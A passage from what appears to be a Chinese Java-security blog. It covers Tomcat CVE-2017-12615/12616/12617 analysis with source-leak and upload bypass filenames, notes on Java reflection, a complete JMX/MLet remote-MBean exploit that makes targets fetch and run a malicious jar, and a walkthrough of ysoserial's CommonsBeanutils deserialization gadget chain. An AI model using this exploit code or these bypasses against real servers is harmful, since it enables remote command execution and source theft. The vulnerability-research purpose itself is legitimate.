分类 Java 下的文章

Tomcat 官方在 9 月 19 号公布了两个漏洞 CVE-2017-12616 和 CVE-2017-12615。当启用了虚拟路径,那么虚拟路径中的 jsp 脚本可被攻击者直接获取到源码。当启用了 PUT 方法,可被攻击者上传恶意 jsp 脚本导致代码执行。本文会对漏洞的产生以及官方的修复方法进行分析。

0x00 Tomcat 动态调试

使用动态调试的方式可以很清楚的跟踪漏洞触发的整个流程,下面是对 Tomcat 进行动态调试的配置
Linux:
将 bin/startup.sh 拷贝一份为 debug.startup.sh,再将 debug.startup.sh 中的

exec "$PRGDIR"/"$EXECUTABLE" start "[email protected]"

替换成

export JPDA_TRANSPORT=dt_socket
export JPDA_ADDRESS=5005
export JPDA_SUSPEND=y
exec "$PRGDIR"/"$EXECUTABLE" jpda start "[email protected]"

Windows:
将 bin/startup.bat 拷贝一份为 debug.startup.bat,再将 debug.startup.bat 中的

call "%EXECUTABLE%" start %CMD_LINE_ARGS%

替换成

set JPDA_TRANSPORT=dt_socket
set JPDA_ADDRESS=5005
set JPDA_SUSPEND=y
call "%EXECUTABLE%" jpda start %CMD_LINE_ARGS%

去下载相应版本的 Tomcat 源码,然后用 idea 直接把源码导进去就好了,要注意下导入的过程中把 OSGi 的选项给取消了。要是在调试的过程中可能会进入 JDK 的代码中去的话,在设置 JDK 版本的时候要选跟运行着 Tomcat 服务器上一样的。接下来在 idea 添加一个远程调试配置
59eddb0b08a69.png
Debugger mode 为 Attach,Host 为运行 Tomcat 的地址,Port 根据脚本中的 JPDA_ADDRESS 而定。JPDA_SUSPEND 的值默认为 n,只有下了断点才会暂停 Tomcat。设置为 y 的话,启动 Tomcat 时会一直处于等待状态,直到调试器连接过来。运行用来做调试的脚本来启动 Tomcat 后会显示在监听 5005 端口,此时在 idea 上点击调试就会连接上,再在相应的代码处下断点就可以做调试分析了。

0x01 CVE-2017-12616 分析

启用虚拟路径配置:
conf/server.xml 中的 Host 标签下添加

    <Context path="">
          <Resources className="org.apache.naming.resources.VirtualDirContext" extraResourcePaths="/test=C:/test" />
    </Context>

根据 conf/web.xml 中的 servlet-mapping 可以知道除了 url 中匹配到的 .jsp 和 .jspx 会交给 JspServlet 来处理,其它的请求,例如静态资源之类的由 DefaultServlet 来处理。

    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

所以在做动态调试分析的时候可以选择在对应 Servlet 中的 service 方法,或者是直接根据相应的请求在 doGet 或是 doPut 方法中下断点就可以跟踪整个流程了。
看下 DefaultServlet 的处理流程,从 doGet 方法开始跟的话会发现进入到 BaseDirContext 中的 lookup 方法中去
59eddc5fcc6fd.png
如果没有设置 aliases 的话就会进入 doLookup 方法中去,如果你设置了虚拟目录的话,这里进入的 doLookup 方法会是 VirtualDirContext 中的 doLookup,否则就是进入 FileDirContext 中的 doLookup 方法。
VirtualDirContext.java 中的 doLookup 方法在 7.0.81 中是有改动的,下面代码是和 7.0.79 (左边)进行的对比
59eddc608eec2.png
可以看到代码由之前的只是对文件是否存在和是否可读的检测改变为用 validate 方法来进行检测。那么 7.0.1 之前版本在虚拟目录里可以读取 jsp 脚本的源码的漏洞就是由 Windows 下的文件名的特性再加上这里检测不严导致的。利用方法大概如下:

  • test.jsp::$DATA
  • test.jsp.
  • test.jsp%20
  • test.jsP

这些文件名都是不会匹配上 JspServlet 的 url-pattern,所以它们都是由 DefaultServlet 当静态资源请求给返回了
59eddb114f350.png

对于 CVE-2017-12615 漏洞有一个利用是在文件名后面添加一个 / 符号,再结合 JDK 中的 File 类会对文件名末尾做一个检测(要是末尾有 / 这样的符号,会自动去掉)来成功创建一个 jsp 脚本。在这里也一样是可以通过这个能读到 jsp 文件的内容,但是在 DefaultServlet 返回之前会对路径末尾有一个检测,要是末尾为 / 或是 符号,直接返回 404。
接下来看下 validate 方法,这个方法是在 7.0.81 版本中由 FileDirContext 中的 file 函数拆分而来的
59eddeee15d19.png
validate 方法:

    protected File validate(File file, boolean mustExist, String absoluteBase) {
        //mustExist 要是被设置为 true,那么文件必须得存在才行
        if (!mustExist || file.exists() && file.canRead()) {

            if (allowLinking)
                return file;

            // Check that this file belongs to our root path
            String canPath = null;
            try {
                //获取规范化路径,会去掉文件名末尾的空格和点号,如果系统上存在该文件,返回系统上的文件名(大小写),存在特殊字符返回 null
                canPath = file.getCanonicalPath();
            } catch (IOException e) {
                // Ignore
            }
            if (canPath == null)
                return null;
            // Check to see if going outside of the web application root
            if (!canPath.startsWith(absoluteBase)) {
                return null;
            }
            // Case sensitivity check - this is now always done
            String fileAbsPath = file.getAbsolutePath();
            if (fileAbsPath.endsWith("."))
                fileAbsPath = fileAbsPath + "/";
            String absPath = normalize(fileAbsPath);
            canPath = normalize(canPath);
            if ((absoluteBase.length() < absPath.length())
                && (absoluteBase.length() < canPath.length())) {
                absPath = absPath.substring(absoluteBase.length() + 1);
                if (absPath.equals(""))
                    absPath = "/";
                canPath = canPath.substring(absoluteBase.length() + 1);
                if (canPath.equals(""))
                    canPath = "/";
                //和规范化路径进行对比,不等返回 null
                if (!canPath.equals(absPath))
                    return null;
            }
        } else {
            return null;
        }
        return file;
    }

由此也可以明白为什么只有在虚拟目录下才存在源码泄漏的洞,而正常的 web 路径不会有。在 7.0.81 里的修复方法就是在 VirtualDirContext 中使用 validate 这个方法来做检测。
在这段代码中还有个判断

            if (allowLinking)
                return file;

假如 allowLinking 为 true 那么就不会做下面的各种检测了,会直接返回 file,那么自然会造成各种源码泄漏,版本 7,8,9 都可能会有这个问题,而且不局限虚拟路径。allowLinking 默认为 false,需要设置。
Tomcat7:
conf/context.xml

<Context allowLinking="true">

Tomcat8/9:

<Context>
    <Resources allowLinking="true" />

在官方的文档中有警告用户不要在 Windows 系统上这样去设置
59eddb10824b4.png
所以这个也是做安全加固要注意的一个点。

0x02 CVE-2017-12615 分析

启用 PUT 方法配置:
conf/web.xml 中的 DefaultServlet 处添加

        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>

根据前面说到的,只要在 DefaultServlet 中的 doPut 下断点就好,这里还是会先走一遍 doLookup 方法,不过这里主要是确认文件不存在,最终会在 rebind 方法中创建文件。对比下 7.0.79 和 7.0.81 中 rebind 方法
59eddb11db680.png
在 7.0.81 版本中会使用 file 方法来获取文件对象,而不是之前版本那样直接使用 File 类来创建。利用方法和上一个一样。根据给 file 传的参数,可以知道 mustExist 被设置为 false ,所以会进入 validate 方法中的检查。
59eddeed7dc9c.png
可以看到在进入 validate 方法之前,File 类已经把文件名末尾的 / 符号给去掉了的,所以这个是对 7.0.81 版本中的一个绕过方法了。此外,长亭的专栏中 Ricter 提出了另外的一种绕过方法,主要是利用到了 getCanonicalPath 方法在存在路径缓存的情况下,不会去掉文件系统上不存在的文件名末尾的空格,再结合 Windows 文件系统的特性做的绕过,具体可以看参考链接。同理 allowLinking 对这个洞一样会有影响,开启 allowLinking 对这个漏洞做个测试
59eddb1089b8e.png

0x03 CVE-2017-12617 分析

这个 CVE 就是前面提的绕过,这里主要看一下官方后来的修复。代码对比版本是 7.0.81 和 7.0.82:
看官方的注释就行,确保文件名末尾不是 /。
59eddeed96334.png

再贴一下 validate 方法的修改,和新增的用来防止 getCanonicalPath 方法问题的 isInvalidWindowsFilename。其中官方写的注释也很清楚就不再讲述其中的作用。

    protected File validate(File file, String name, boolean mustExist, String absoluteBase,
            String canonicalBase) {

        // If the requested names ends in '/', the Java File API will return a
        // matching file if one exists. This isn't what we want as it is not
        // consistent with the Servlet spec rules for request mapping.
        if (name.endsWith("/") && file.isFile()) {
            return null;
        }

        // If the file/dir must exist but the identified file/dir can't be read
        // then signal that the resource was not found
        if (mustExist && !file.canRead()) {
            return null;
        }

        // If allow linking is enabled, files are not limited to being located
        // under the fileBase so all further checks are disabled.
        if (allowLinking) {
            return file;
        }

        // Additional Windows specific checks to handle known problems with
        // File.getCanonicalPath()
        if (JrePlatform.IS_WINDOWS && isInvalidWindowsFilename(name)) {
            return null;
        }

        // Check that this file is located under the web application root
        String canPath = null;
        try {
            canPath = file.getCanonicalPath();
        } catch (IOException e) {
            // Ignore
        }
        if (canPath == null || !canPath.startsWith(canonicalBase)) {
            return null;
        }

        // Ensure that the file is not outside the fileBase. This should not be
        // possible for standard requests (the request is normalized early in
        // the request processing) but might be possible for some access via the
        // Servlet API (RequestDispatcher etc.) therefore these checks are
        // retained as an additional safety measure. absoluteBase has been
        // normalized so absPath needs to be normalized as well.
        String absPath = normalize(file.getAbsolutePath());
        if ((absoluteBase.length() > absPath.length())) {
            return null;
        }

        // Remove the fileBase location from the start of the paths since that
        // was not part of the requested path and the remaining check only
        // applies to the request path
        absPath = absPath.substring(absoluteBase.length());
        canPath = canPath.substring(canonicalBase.length());

        // Case sensitivity check
        // The normalized requested path should be an exact match the equivalent
        // canonical path. If it is not, possible reasons include:
        // - case differences on case insensitive file systems
        // - Windows removing a trailing ' ' or '.' from the file name
        //
        // In all cases, a mis-match here results in the resource not being
        // found
        //
        // absPath is normalized so canPath needs to be normalized as well
        // Can't normalize canPath earlier as canonicalBase is not normalized
        if (canPath.length() > 0) {
            canPath = normalize(canPath);
        }
        if (!canPath.equals(absPath)) {
            return null;
        }

        return file;
    }


    private boolean isInvalidWindowsFilename(String name) {
        final int len = name.length();
        if (len == 0) {
            return false;
        }
        // This consistently ~10 times faster than the equivalent regular
        // expression irrespective of input length.
        for (int i = 0; i < len; i++) {
            char c = name.charAt(i);
            if (c == '\"' || c == '<' || c == '>') {
                // These characters are disallowed in Windows file names and
                // there are known problems for file names with these characters
                // when using File#getCanonicalPath().
                // Note: There are additional characters that are disallowed in
                //       Windows file names but these are not known to cause
                //       problems when using File#getCanonicalPath().
                return true;
            }
        }
        // Windows does not allow file names to end in ' ' unless specific low
        // level APIs are used to create the files that bypass various checks.
        // File names that end in ' ' are known to cause problems when using
        // File#getCanonicalPath().
        if (name.charAt(len -1) == ' ') {
            return true;
        }
        return false;
    }

0x04 参考

最近一直都在学习 Java 安全相关的东西,这两个玩意可以说是经常碰到了,做个笔记。话说要是在两个月前我是万万想不到我现在整天接触的居然是 Java,一边学习 Java 一边搞 = =

0x00 反射机制

利用反射机制能干的事情:

  • 在运行时动态对任意的类实例化
  • 在运行时分析类,获取类的成员变量和方法等信息
  • 调用任意方法

0x01 获取 Class 对象的三种方法

Class 类保存了所有对象运行时的类型标识,虚拟机在运行时根据类型信息再去选择对应的方法来执行。这里的 Class 可以理解为类类型,跟平时说的 Class 是有区别的。下面是如何去获取一个 Class 类型的实例。

Object 类中的 getClass() 方法

Test t = new Test();
Class c = t.getClass();

调用静态方法 forName()

String className = "java.util.Random";
Class c = Class.forName(className);

只有在 className 是类名或接口名时才能执行,不然 forName() 方法会抛出一个 checked 异常。

任意的 Java 类型的 class 变量

Class c1 = Random.class;
Class c2 = int.class;

用 newInstance() 方法便可以返回对应类的新实例。

Test t = new Test();
Class c = t.getClass();
Object obj = c.newInstance();
//需要转换类型才可以使用新实例,不然用 obj 去调用 Test 中的方法会出错
Test obj1 = (Test)c.newInstance();

0x02 获取类信息的操作

获取类成员变量:

  • Field[] getFields()
  • Field[] getDeclaredFields()
    getFields() 返回包含当前类和父类中 public 的成员变量的一个数组,getDeclaredFields() 返回包含当前类的所有成员变量的一个数组。通过 getName() 和 getType() 方法可以获取到其名字和类型。

获取类方法:

  • Method[] getMethods()
  • Method[] getDeclareMethods()
    效果跟上面的类似,只是 getDeclareMethods() 还能得到接口的全部方法。通过 getName() 和 getReturnType() 方法可以获取到其名字和返回类型。

也可以通过其名字来获取到对应的变量,方法名就是上面那些方法名去掉 s 后传名字作为参数。通过 get() 和 set() 方法可以获取类成员变量的值或者是给类成员变量设置一个值,需要有访问权限,不过也可以通过 setAccessible() 方法来覆盖访问控制。下面一个例子:

import java.lang.reflect.Field;

/**
 * Created by k1n9 on 2017/9/12.
 */
public class ReflectionTest {
    public static void main(String[] args) {
        try {
            Class c = Class.forName("Rtest");
            Object obj = c.newInstance();

            try {
                Field f = c.getDeclaredField("secret");
                f.setAccessible(true);
                f.set(obj, "whoami");
                System.out.println(f.get(obj));
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            }
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }
}

class PRtest {
    public String word;
}

class Rtest extends PRtest{
    public String name;
    private String secret;

    public void publicfunc() {
        System.out.println(this.name);
    }

    private void privatefunc() {
        System.out.println(this.secret);
    }
}

还有其它一些方法,比如获取构造器的等等。

0x03 类方法调用

类方法调用其实跟类成员变量的操作差不多,用到的是 Method 类中的 invoke() 方法,也会有访问权限的问题,但是同样可以通过 setAccessible() 方法来解决。

Method m = c.getDeclaredMethod("privatefunc");
m.setAccessible(true);
m.invoke(obj);

0x04 动态代理

提供一个代理对象,用代理对象来取代对原对象的访问,这里原对象的类需要时实现接口的类。也有可以实现对不需要实现接口的类的对象的代理,但是需要引入别的库了。

动态代理实现

  • 实现调用处理器 InvocationHandler 接口
  • 用 newProxyInstance 来获取一个代理对象
  1. static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

newProxyInstance 这个方法中需要用到的类加载器,和接口参数都是可以通过反射来获得的,写的例子:
InterfaceTest.java

public interface InterfaceTest {
    public void action();
}

InvocationhandlerTest.java

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

/**
 * Created by k1n9 on 2017/9/12.
 */
public class InvocationhandlerTest implements InvocationHandler {
    private Object target;

    public InvocationhandlerTest(Object t) {
        target = t;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return method.invoke(target);
    }
}

ProxyTest.java

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

/**
 * Created by k1n9 on 2017/9/12.
 */
public class ProxyTest {
    public static void main(String[] args) {
        Ptest t = new Ptest();
        Class<?> c = t.getClass();
        InvocationHandler h = new InvocationhandlerTest(t);

        InterfaceTest proxyobj = (InterfaceTest) Proxy.newProxyInstance(c.getClassLoader(), c.getInterfaces(), h);
        proxyobj.action();
    }
}

class Ptest implements InterfaceTest {
    public void action() {
        System.out.println("action called!");
    }
}

代理对象对方法的调用都是通过调用处理器中的 invoke 方法来调用的,Ysoerial 中的一些 payload 的触发也用到了这一点。

0x00 简述

好几年前就有人提到这个关于JMX RMI的攻击了,个人觉得这个只是因为没有做到安全配置而导致存在的可被攻击利用的点。攻击者可以远程注册一个恶意的 MBean,再去调用里面的用于执行命令的方法达到攻击效果。代码来自参考文章,只对代码做了少许改动,他还为 metasploit 写了这个攻击模块,具体的可以看参考链接。主要还是去了解其中的攻击利用实现,用到的也都是正常功能了。

前提条件:

  • 允许远程访问,没有开启认证 (com.sun.management.jmxremote.authenticate=false)
  • 能够远程注册 MBean (javax.management.loading.MLet)

0x01 恶意MBean

EvilMBean.java:

/**
 * 定义MBean接口和用来执行命令的方法
 */
public interface EvilMBean {
    public String runCommand(String cmd);
}

Evil.java:

import java.io.BufferedReader;
import java.io.InputStreamReader;

/**
 * 类名要与实现的接口的前缀一样
 */
public class Evil implements EvilMBean {
    public String runCommand(String cmd) {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null) {
                stdout_err_data += s + "\n";
            }
            while ((s = stdError.readLine()) != null) {
                stdout_err_data += s + "\n";
            }

            proc.waitFor();
            return stdout_err_data;
        } catch (Exception e) {
            return e.toString();
        }
    }
}

将上述两个java文件编译后打包成jar包:

jar -cvf compromise.jar EvilMBean.class Evil.class

这会有版本问题,1.8.131 打包的在 1.7.80 用不了。

0x02 利用代码

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;

import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Iterator;

/**
 * Created by k1n9 on 2017/8/23.
 */
public class RemoteMbean {
    private static String JARNAME = "compromise.jar";
    private static String OBJECTNAME = "MLetCompromise:name=evil,id=1";
    private static String EVILCLASS = "Evil";

    public static void main(String[] args) {
        try {
            //开启Http服务,提供带mlet标签的html和恶意MBean的jar包
            HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
            server.createContext("/mlet", new MLetHandler());
            server.createContext("/" + JARNAME, new JarHandler());
            server.setExecutor(null);
            server.start();
            //这里可以改成args的参数就可以在命令行下使用了,JMX的ip,端口,要执行的命令
            connectAndOwn("10.18.224.59", "2333", "id");

            server.stop(0);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    static void connectAndOwn(String serverName, String port, String command) {
        try {
            //建立连接
            JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
            System.out.println("URL: " + u + ", connecting");

            JMXConnector c = JMXConnectorFactory.connect(u, null);
            System.out.println("Connected: " + c.getConnectionId());

            MBeanServerConnection m = c.getMBeanServerConnection();

            ObjectInstance evil_bean = null;
            try {
                evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
            } catch (Exception e) {
                evil_bean = null;
            }

            if (evil_bean == null) {
                System.out.println("Trying to create bean...");
                ObjectInstance evil = null;
                try {
                    evil = m.createMBean("javax.management.loading.MLet", null);
                } catch (javax.management.InstanceAlreadyExistsException e) {
                    evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
                }

                System.out.println("Loaded " + evil.getClassName());
                //调用 getMBeansFromURL 从远程服务器获取 MBean
                Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
                        new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
                        new String[] {String.class.getName()}
                        );
                HashSet res_set = (HashSet)res;
                Iterator itr = res_set.iterator();
                Object nextObject = itr.next();
                if (nextObject instanceof Exception) {
                    throw ((Exception)nextObject);
                }
                evil_bean = ((ObjectInstance)nextObject);
            }
                //调用恶意 MBean 中用于执行命令的函数
            System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
            System.out.println("Calling runCommand with: " + command);
            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
            System.out.println("Result: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    static class MLetHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            /**
             * mlet 标签
             * <MLET
             * CODE = class | OBJECT = serfile
             * ARCHIVE = "archiveList"
             * [CODEBASE = codebaseURL]
             * [NAME = mbeanname]
             * [VERSION = version]
             * >
             * [arglist]
             * </MLET>
             */
            String respone = String.format("<HTML><mlet code=%s archive=%s name=%s></mlet></HTML>", EVILCLASS, JARNAME, OBJECTNAME);
            System.out.println("Sending mlet: " + respone + "\n");
            t.sendResponseHeaders(200, respone.length());
            OutputStream os = t.getResponseBody();
            os.write(respone.getBytes());
            os.close();
        }
    }

    static class JarHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            System.out.println("Request made for JAR...");
            //这里的 compromise.jar 可以根据实际的路径来修改
            File file = new File("/Users/k1n9/Workspace/Java/compromise.jar");
            byte[] bytearray = new byte[(int)file.length()];
            FileInputStream fis = new FileInputStream(file);
            BufferedInputStream bis = new BufferedInputStream(fis);
            bis.read(bytearray, 0 , bytearray.length);
            t.sendResponseHeaders(200, file.length());
            OutputStream os = t.getResponseBody();
            os.write(bytearray, 0, bytearray.length);
            os.close();
        }
    }
}

0x03 测试

599e8c1f24520.png

参考

0x00 CommonsBeanutilsCollectionsLogging1

依赖:

  • commons-beanutils:1.9.2
  • commons-collections:3.1
  • commons-logging:1.2

ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java:

public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
        final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final BeanComparator comparator = new BeanComparator("lowestSetBit");

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args);
    }
}

Ysoserial 中每个 payload 的生成类都需要实现 ObjectPayload 接口中的 getObject 方法,该方法的功能为传入要执行的命令然后返回构造好的对象。

final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

从第一句可以看出这里的命令执行需要用到 TemplatesImpl 中的执行链,之前 fastjson 反序列化的 POC 构造也是用的这个,具体可以看参考中的链接。

0x01 TemplatesImpl 中的执行链

com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java中的getOutputProperties():

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

newTransformer():

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

getTransletInstance():

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

其中的 defineTransletClasses 方法主要是通过 _bytecodes(存放着字节码)找到对应的 Class 并放到 _class 数组中去,接着会调用 Class 的 newInstance() 实例化。如此一来,只要在一个类中的初始块或者构造器中加入执行命令的代码,再把这个类的字节码传给 _bytecodes 就行。
完整的执行链:
getOutputProperties() --> newTransformer() --> getTransletInstance() --> newInstance()
根据这个执行链,只要找到一个在反序列化的时候会调用 TemplatesImpl.getOutputProperties() 就行,要注意的是这个执行链能执行到最终需要 _name,_bytecodes 和 _tfactory(在defineTransletClasses 方法中会用到)这三个变量不能为 null。

来看下 Ysoserial 是如何构造该执行链的。
ysoserial/payloads/util/Gadgets.java中的createTemplatesImpl():

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    final TemplatesImpl templates = new TemplatesImpl();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes,
        ClassFiles.classAsBytes(Foo.class)});

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    return templates;
}

这里主要是用到了 Javassist 这个库来处理字节码,这库厉害在于它可以在运行时动态的去修改 Java 的字节码。先是获得一个 ClassPool 对象,然后添加类的搜索路径。个人觉得 StubTransletPayload 这个类就定义在这里,添加这个搜索路径貌似作用不大。接下来就是获得 StubTransletPayload 类的 CtClass(compile-time clas)引用,然后就是往里面插入一段带有执行命令代码的静态初始化块。看下 StubTransletPayload :

public static class StubTransletPayload extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = -5971610431559700674L;

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

因为_bytecodes需要是translet class,这里是继承了AbstractTranslet这个抽象类。那么StubTransletPayload也得定义为抽象类,要不就得重写AbstractTranslet中的这两个方法,抽象类没法实例化,所以就只能选择去重写这两个方法了。
关于 Javassist 这个库的具体使用可以看参考里面的链接,本地写了一小段测试代码:
59950c4a17c10.png
再看下生成的字节码和反编译的源码:
59950c67b9ee7.png
设置 templates 中三个成员变量的值得时候用到了反射,Ysoserial 里自己写了个 Reflections 类,可以去看下:

public class Reflections {
    public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
        Field field = clazz.getDeclaredField(fieldName);
        if (field == null && clazz.getSuperclass() != null) {
            field = getField(clazz.getSuperclass(), fieldName);
        }
        field.setAccessible(true);
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);        
        return field.get(obj);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }
}

对于这个类感觉要是知道反射怎么用的话都好理解。在 getField 方法中,要是当前类找不到还会去父类里面找,并且用了 setAccessible(true)来使得那些设置了 private 的成员变量也能访问到。
到这里就获取到了一个构造好的 TemplatesImpl 对象,就差 getOutputProperties()怎么被调用了。

0x02 利用链的构造

目前的理解是在 Java 中反序列化后能自动调用的就 readObject 方法,这里就用到了 PriorityQueue(优先级队列)类中重写的 readObject():

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

反序列化后存到 queue 数组中,再进入heapif():

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

这里应该做的是排序操作,往下再跟 siftDown(),siftDownUsingComparator():

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

siftDownUsingComparator 方法才是这里的重点,这里将序列化后得到的对象传入了比较器 comparator 中的 compare 方法中去,在 CommonsBeanutilsCollectionsLogging1 中这个比较器用的是 BeanComparator:

        final BeanComparator comparator = new BeanComparator("lowestSetBit");

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

去看下 BeanComparator(在commons-beanutils 包,同时需要用到 commons-collections 包中的ComparableComparator)中的 compare():

public int compare( T o1, T o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }

    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    }
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    }
}

这里的关键在用 PropertyUtils.getProperty 来获取属性的值,比如这里它会去调用 o1.getProperty(),没有去跟它的具体实现了,但是可以用一小段代码来证明:
59950c77b3c82.png
只要 o1 为 TemplatesImpl,property 为 outputProperties 就可以触发 TemplatesImpl.GetoutputProperties()从而执行命令。使用 PropertyUtils.getProperty 需要 commons-logging 包,不然会抛出异常。
